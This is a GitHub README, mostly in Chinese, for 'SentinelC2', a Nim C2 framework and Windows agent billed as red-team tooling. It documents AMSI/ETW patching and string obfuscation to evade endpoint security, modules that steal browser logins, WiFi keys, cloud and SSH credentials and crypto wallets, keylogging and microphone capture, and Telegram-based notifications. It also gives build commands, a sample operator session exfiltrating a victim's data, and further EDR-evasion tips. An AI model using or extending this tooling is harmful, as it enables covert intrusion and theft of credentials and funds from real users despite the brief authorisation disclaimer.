sarthakdev143-lite/sentinal
GitHub: sarthakdev143-lite/sentinal
这是一款基于 Nim 语言开发的红队 C2 框架,专为绕过 Windows 安全防护并执行高级持续性威胁模拟而设计。
Stars: 0 | Forks: 0
# SentinelC2 — Nim Agent + Server (v3)
## v3 版本更新内容
* **AMSI 绕过** — 在 agent 启动时 patch `amsi.dll!AmsiScanBuffer`,使其返回 `E_INVALIDARG` (AMSI_RESULT_CLEAN)。如果不这样做,操作者通过 `shell` 运行的每一条 PowerShell 命令都会被记录。
* **ETW 抑制** — 将 `ntdll!EtwEventWrite` 和 `EtwEventWriteEx` patch 为单个 `ret`。静默 agent 对 Windows 事件跟踪 的响应。
* **直接 syscall stub** — `doSyscall` 解析器从干净的 ntdll 函数 prologue 中读取 syscall 编号,并通过内联 asm 进行分发。这是 ntdll hook 绕过的基础;在当前版本中,它只是一个*演示*(在实际的渗透行动中,需要为每个 NT 调用编写特定类型的 wrapper — 参见 TODO)。
* **字符串混淆** — 每个具有特征的字符串字面量(如 `amsi.dll`, `AmsiScanBuffer`, `EtwEventWrite`, `wlan`, `.aws`, `id_rsa` 等)在编译时使用每次构建唯一的密钥进行 XOR 编码,并在运行时动态解码。`strings agent.exe | grep` 对这些字符串的搜索结果为 0。验证结果:构建后 `amsi.dll=0`, `EtwEventWrite=0`, `wlan=0`, `.aws=0`, `id_rsa=0`。
* **Telegram 备用 C2** — 如果进行了配置(`TELEGRAM_BOT` / `TELEGRAM_CHAT`),agent 会在启动时、每次成功注册后以及每次 `exfil` 后向 Telegram bot 发送 ping。操作者也可以通过 `tg` 命令推送自由格式的通知。使用 HTTPS POST 请求发送至 `api.telegram.org`(在大多数网络中均有效,即使 WSS 隧道断开也没问题)。
* **数据 exfil 模块** — 8 种类型,全部暂存在 `%TEMP%\svc\*` 目录下:
* `browser` — Chrome/Edge/Firefox 用户数据(History, Login Data, Cookies, Web Data, Bookmarks, Local State — 服务端解码器使用 Local State 的 AES 密钥 + DPAPI 来解密登录信息)
* `wifi` — `netsh wlan export profile` → 导出所有保存的 WiFi 配置文件及明文 PSK
* `cloud` — AWS 凭据、AWS 配置、GCP 凭据、Azure、`.git-credentials`、`kubeconfig`
* `ssh` — `id_rsa*`、`known_hosts`、`config`
* `wallet` — Ethereum keystore、Bitcoin `wallet.dat`、MetaMask 扩展数据
* `recent` — Windows Recent (`*.lnk`) 跳转列表
* `wincreds` — `vaultcmd /listcreds` 输出(仅包含名称和目标,不包含机密信息)
* **Recon 模块** — 5 种类型:
* `edr` — 基于任务列表检测 CrowdStrike, SentinelOne, Defender, Cylance, Trend, ESET, Kaspersky, McAfee 等。
* `shares` — `net view` / `net share` / `net session`
* `software` — `wmic product`(已安装软件)+ `wmic qfe`(补丁级别)
* `usb` — `USBSTOR` 和 `MountedDevices` 注册表
* `tasks` — 针对整个系统的 `schtasks /query /v`
## 构建状态
| 二进制文件 | 源码 | 编译标志 | 大小 |
|--------------|---------------|--------------------------------------------------------------------|-----------|
| `agent.exe` | `agent.nim` | `nim c -d:release -d:ssl --opt:size --app:gui --passL:-s agent.nim` | ~810 KB |
| `c2_server.exe` | `c2_server.nim` | `nim c -d:release -d:ssl --threads:on c2_server.nim` | ~948 KB |
验证环境:**Nim 2.2.10**,搭配 **nimcrypto 0.7.3**, **winim 3.9.4**,
**ws 0.6.0**, **MinGW gcc 6.3.0**。
本次会话中的冒烟测试:
* `c2_server.exe` 启动,绑定 `ws://127.0.0.1:443`,可见 `BuildPrefix X7K`。
* 来自 `ClientWebSocket` 的 WebSocket 握手 → `State = Open`。
* 对二进制文件进行字符串审计:`amsi.dll` / `EtwEventWrite` / `wlan` /
`.aws` / `id_rsa` → 在二进制文件中 **出现 0 次**。
* v2 的 `tests/test_crypto.nim` 依然通过 (9/9)。
## Telegram 备用 C2
Agent 向配置好的 Telegram bot 发送 `sendMessage` 和 `sendDocument`。Bot token 是在编译时硬编码的(在构建前设置 `agent.nim` 中的常量):
```
const
TELEGRAM_BOT = "" # e.g. "123456:ABCDEF..."
TELEGRAM_CHAT = "" # e.g. "-1001234567890" (chat or channel)
```
如果两者中任何一个为空,则禁用 Telegram,agent 将表现出与 v2 相同的行为。如果两者均已设置:
* 启动时:`telegramSend("[X7K boot] /")`
* 成功注册时:`telegramSend("[X7K agent] /")`
* 每次 `exfil` 后:`telegramSend("[X7K exfil] ( files)")`
* 来自操作者的 `tg` 命令:`telegramSend("")`
Telegram bot 应被视为已被泄露(token 存在于二进制文件中,任何对其进逆行工程的人都能读取所有内容)。在实际的渗透行动中,bot 会注册到一个一次性账号上,并且聊天使用的是由行动团队监控的私密频道。
## 架构
```
agent (Windows host) operator workstation Tailscale / tunnel
+--------------------+ +---------------------+ +------------------+
| AMSI/ETW bypass | WSS | c2_server | WS | Tailscale node |
| string obf |<--->| ws://127.0.0.1:443 |<--->| desktop-*.ts.net|
| syscall stub | 443 | per-agent queues | 443 | Funnel (TLS) |
| browser/wifi/ssh | | session logs | | |
| cloud/wallet/media | | download assembler | | |
| persist (reg+st) | | | | |
+--------------------+ +---------------------+ +------------------+
│
│ HTTPS POST
▼
api.telegram.org/bot.../sendMessage
(operator's Telegram bot / channel)
```
## Protocol v2(与之前版本相比未作更改)
```
Wire (after registration): nonce(12) || ciphertext || tag(16)
AAD: agent_id || direction (0x00 S→A, 0x01 A→S)
Session key: HMAC-SHA256(secret, server_nonce || agent_nonce)
Per-frame nonce: 4-byte BE counter || 8 random bytes
Registration: HMAC-SHA256(secret, payload) once
```
## 新增命令
| 命令 | 参数 | 功能 |
|-------------|-------------------------------|-----------------------------------------------|
| `exfil` | `browser` | 将 Chrome/Edge/Firefox 用户数据 SQLite 及 Local State 暂存至 `%TEMP%\svc\browser\` |
| `exfil` | `wifi` | `netsh wlan export profile` → 将所有配置文件暂存至 `%TEMP%\svc\wifi\` |
| `exfil` | `cloud` | 暂存 `~/.aws/credentials`, `~/.config/gcloud/credentials`, `~/.azure`, `~/.git-credentials`, `~/.kube/config` |
| `exfil` | `ssh` | 暂存 `~/.ssh/id_rsa*`, `known_hosts`, `config` |
| `exfil` | `media` | 暂存 Videos / Music / Downloads / Documents 目录下*已存在*的音频/视频文件(上限 500 MB) |
| `exfil` | `wallet` | 暂存 Ethereum keystore, Bitcoin `wallet.dat`, MetaMask 扩展目录 |
| `exfil` | `recent` | 暂存 Windows Recent (`*.lnk`) 跳转列表 |
| `exfil` | `wincreds` | 运行 `vaultcmd /listcreds`,将结果保存至 `%TEMP%\svc\wincreds.txt` |
| `recon` | `edr` | 基于任务列表的 EDR/AV 检测 (CrowdStrike, SentinelOne, Defender 等) |
| `recon` | `shares` | `net view`, `net share`, `net session` |
| `recon` | `software` | `wmic product` + `wmic qfe` 补丁清单 |
| `recon` | `usb` | `USBSTOR` + `MountedDevices` 注册表 |
| `recon` | `tasks` | `schtasks /query /v` |
| `tg` | (自由文本) | 向操作者的 Telegram bot 推送通知 |
执行 exfil 之后,操作者运行 `download ` 即可通过 WSS 通道拉取已暂存的文件。完整的暂存路径会在 exfil 结果的 JSON 中返回。
### 字符串混淆覆盖范围
`amsi.dll`, `AmsiScanBuffer`, `ntdll.dll`, `EtwEventWrite`,
`EtwEventWriteEx`, `netsh`, `wlan`, `export profile`, `Google\Chrome`,
`Microsoft\Edge`, `Mozilla\Firefox`, `History`, `Login Data`,
`Cookies`, `Web Data`, `Bookmarks`, `Local State`, `Ethereum`,
`Bitcoin`, `MetaMask`, `keystore`, `id_rsa`, `known_hosts`,
`.ssh`, `.aws`, `credentials`, `.config`, `gcloud`, `.azure`,
`.git-credentials`, `.kube`, `USERPROFILE`, `APPDATA`,
`LOCALAPPDATA`, `Profile`, `Default` — 所有这些均在编译时进行了 XOR 编码,在二进制文件中出现 0 次。
`reconEdrAv` 中的 EDR 指示器列表仍然是字面量 `seq[string]`,并且会显示在 `strings` 工具的结果中(该文件包含 4 个命中项:`cb.exe`, `CylanceSvc`, `SentinelAgent` 等)。后续可以轻松地对其进行混淆处理。
## 设置
### 1. 工具链(本机已安装)
* Nim 2.2.10 位于 `D:\appdata\nim-2.2.10\bin\nim.exe`
* gcc 6.3.0 (MinGW) 在 PATH 中
* Nimble 包:`nimcrypto 0.7.3`, `winim 3.9.4`, `ws 0.6.0`
```
# Toolchain (干净环境)
winget install NimLang.Nim
nimble install nimcrypto
nimble install winim
nimble install ws
```
### 2. 配置
Agent 和 Server 均进行硬编码:
* `AGENT_SECRET` / `SECRET` — 必须匹配
* Agent 的 `C2_URLS` — WSS endpoint 列表(用于故障转移)
* Server 的 `LISTEN_HOST` / `LISTEN_PORT`
* `BuildPrefix` — 两个文件中的顶层 `const`
* `TELEGRAM_BOT` / `TELEGRAM_CHAT` — 仅存在于 `agent.nim` 中,留空则禁用
### 3. 构建
```
cd "D:\Sarthak\Coding\My Codes\Cybersecurity\SentinelAgent\Nim"
# Agent (已剥离,GUI subsystem,针对体积优化)
& "D:\appdata\nim-2.2.10\bin\nim.exe" c -d:release -d:ssl --opt:size --app:gui --passL:-s agent.nim
# Server
& "D:\appdata\nim-2.2.10\bin\nim.exe" c -d:release -d:ssl --threads:on c2_server.nim
# Tests
& "D:\appdata\nim-2.2.10\bin\nim.exe" c -r -d:release tests/test_crypto.nim
```
## 使用说明
```
X7K> help
Commands:
list - list connected agents
help - this text
shell/sh - run shell command
download/dl - download file from agent
upload/up
screenshot/ss - take screenshot
ps - list processes on agent
clip - get clipboard
find ; - find files
keys/k {start|stop} - keylogger control
mic/m [seconds] - capture mic audio (default 10s, max 120s) -> downloads/mic_.wav
persist/p - re-establish persistence
exfil - browser|wifi|cloud|ssh|media|wallet|recent|wincreds
recon - edr|shares|software|usb|tasks
killdate - set kill date (0 = clear)
sleep - set sleep between reconnects
tg - telegram-test ping
kill/x - uninstall and quit
quit - exit server
```
### 操作者会话示例
```
X7K> list
ID Host User OS Uptime
123456789012 WIN10 alice Windows 10 00:00:42
X7K> recon 123456789012 edr
[<] 123456789012: {"type":"recon","kind":"edr","hits":["MsMpEng"]}
X7K> exfil 123456789012 browser
[>] Queued for 123456789012
[<] 123456789012: {"type":"exfil","kind":"browser","staging":"...","count":7}
X7K> dl 123456789012 C:\Users\alice\AppData\Local\Temp\svc\browser
[+] 123456789012 -> browser/Default/History
[+] 123456789012 -> browser/Default/Login Data
...
X7K> exfil 123456789012 cloud
[>] Queued for 123456789012
[<] 123456789012: {"type":"exfil","kind":"cloud","staging":"...","count":4}
X7K> exfil 123456789012 ssh
[>] Queued for 123456789012
[<] 123456789012: {"type":"exfil","kind":"ssh","staging":"...","count":6}
X7K> tg 123456789012 high-value host pwned, see logs
[>] Queued for 123456789012
[<] 123456789012: [X7K] tg: ok
# Operator 的手机收到了 Telegram 通知震动。
```
## 检测 / 防护说明
* **AMSI 绕过** 将 `AmsiScanBuffer` patch 为返回 `E_INVALIDARG`。检测方式:Defender for Endpoint(脚本拦截遥测)、CrowdStrike(用户态 hook 完整性检查)以及大多数现代 EDR。对 Defender *基础版*和大多数传统 AV 有效。对于更高级别的 EDR,请使用替代方案:根本不调用 AmsiScanBuffer(在一个单独的进程中使用 `-NoExit` 加载 powershell,并预先 patch AMSI stub)。
* **ETW 抑制** patch `EtwEventWrite`/`EtwEventWriteEx`。检测方式:任何具有内核模式 ETW 消费者的 EDR(CrowdStrike, Defender ATP)。要实现真正的绕过,还需要禁用 `EtwThreadInfo` 并 patch `ntdll!EtwNotifyTrace`。
* **直接 syscall stub** 在本版本中作为一个*演示*存在(解析 syscall 编号,具有通用分发器)。要将其用于规避检测,请编写针对特定 NT 调用的 wrapper — 当前的 `doSyscall` 仅处理 4 个寄存器参数,无法支持 `NtAllocateVirtualMemory` 所需的 6 个参数。**实际渗透行动的 TODO。**
* **字符串混淆** 在编译时使用单字节密钥对字符串字面量进行 XOR 编码。坚定的逆向工程师可以轻易恢复这些字符串(`for (i = 0; i < len; i++) str[i] = enc[i] ^ 0x5A`)。为了获得更高的 OPSEC,请使用从每次构建唯一的常量派生的多字节滚动密钥。
* **Telegram** 是一个被动的通知通道,而非隐蔽的传输方式。Bot token 可以从二进制文件中恢复。任何推送到 Telegram 的内容,都应假定蓝队能看到。
* **`META_FILE`** 依然采用 XOR 加密 (v2)。在实际的渗透行动中,请将其替换为 DPAPI(针对 `LocalMachine` 调用 `CryptProtectData`)。
## 法律声明
请仅在您拥有或获得明确授权测试的系统和账号上使用。请勿将 `C2_URLS`、`AGENT_SECRET`、`TELEGRAM_BOT` 和 `TELEGRAM_CHAT` 包含在任何被 追踪的源码中。在每次渗透行动中轮换所有这些信息。
标签:C2框架, HTTP工具, Nim, RAT, WebSocket, 依赖分析, 信息窃取, 免杀技术, 安全助手, 安全学习资源, 数据处理, 暴力破解检测, 网络信息收集, 高危端口监控